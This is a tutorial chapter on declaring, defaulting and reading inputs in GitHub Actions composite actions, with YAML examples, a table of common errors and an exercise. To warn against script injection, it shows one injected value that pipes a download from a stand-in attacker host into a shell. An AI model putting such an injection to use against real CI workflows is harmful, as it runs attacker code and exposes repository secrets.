Sub topic 5
Inputs: declaring, defaulting and reading them
This chapter assumes you can read basic workflow syntax (jobs, steps, uses, run), you are comfortable with YAML and bash, and you know how an action.yml file is laid out. Here you will learn how a composite action receives values from its caller.
What an input is
An input is a named value that a workflow passes to an action through with:. You declare inputs in the inputs: block of action.yml. Each input can have a description, a required flag and a default.
name: Greet
description: Print a greeting
inputs:
who-to-greet:
description: Name to greet
required: false
default: World
shout:
description: Set to 'true' to use upper case
required: false
default: "false"
runs:
using: composite
steps:
- shell: bash
env:
WHO: ${{ inputs.who-to-greet }}
SHOUT: ${{ inputs.shout }}
run: |
if [ "$SHOUT" = "true" ]; then
echo "HELLO, ${WHO^^}"
else
echo "Hello, ${WHO}"
fiDeclaring and defaulting
descriptionis required for each input in practice. It documents the input for people who use your action.required: truemarks an input as mandatory. For composite actions, treat this as documentation. Do not rely on it to stop a run. If you need a hard failure, check the value in a step and exit with a non-zero code.defaultsupplies a value when the caller omits the input. Without a default, a missing input is an empty string.
Reading inputs
Inside the action, read an input with the inputs context: ${{ inputs.who-to-greet }}. Hyphens are allowed in input names, and the expression syntax handles them directly.
Inputs are always strings. This has one common consequence. A caller who writes shout: false passes the string "false", and in an if: expression a non-empty string is still a string, not a boolean. Compare explicitly:
- if: ${{ inputs.shout == 'true' }}
shell: bash
run: echo "Shouting is on"Quote boolean-looking and number-looking defaults ("false", "20") so the YAML parser does not turn them into other types.
Passing inputs to a script
The example above copies each input into an environment variable with env: and reads it as $WHO in the script. Do this instead of writing ${{ inputs.who-to-greet }} inside run:. Expressions inside run: are substituted into the script text before bash sees it, so a value such as "; curl evil.example | sh; " would become part of the script. A value in an environment variable stays data. Chapter on script injection covers this in more depth.
Calling the action
name: CI
on: [push]
jobs:
greet:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- uses: ./.github/actions/greet
with:
who-to-greet: Octocat
shout: "true"Common errors
| Symptom | Cause | Fix |
|---|---|---|
| Condition always runs | Comparing the string `"false"` as a boolean | Compare with `== 'true'` |
| Input is empty | Name misspelled, or no default and caller omitted it | Match the declared name and add a default |
| Odd shell behavior with special characters | Input placed directly in `run:` | Pass it through `env:` |
| Default becomes `false` or `20` without quotes | YAML type conversion | Quote the default |
Exercise
An action declares run-tests with default: "true". A caller passes run-tests: false. Which if: expression correctly skips the test step, and why does if: ${{ inputs.run-tests }} fail to do so?
Show answer
Use if: ${{ inputs.run-tests == 'true' }}. Inputs are strings, so the value is the text "false". A non-empty string is not reliably treated as a false boolean, so the condition must compare the text explicitly.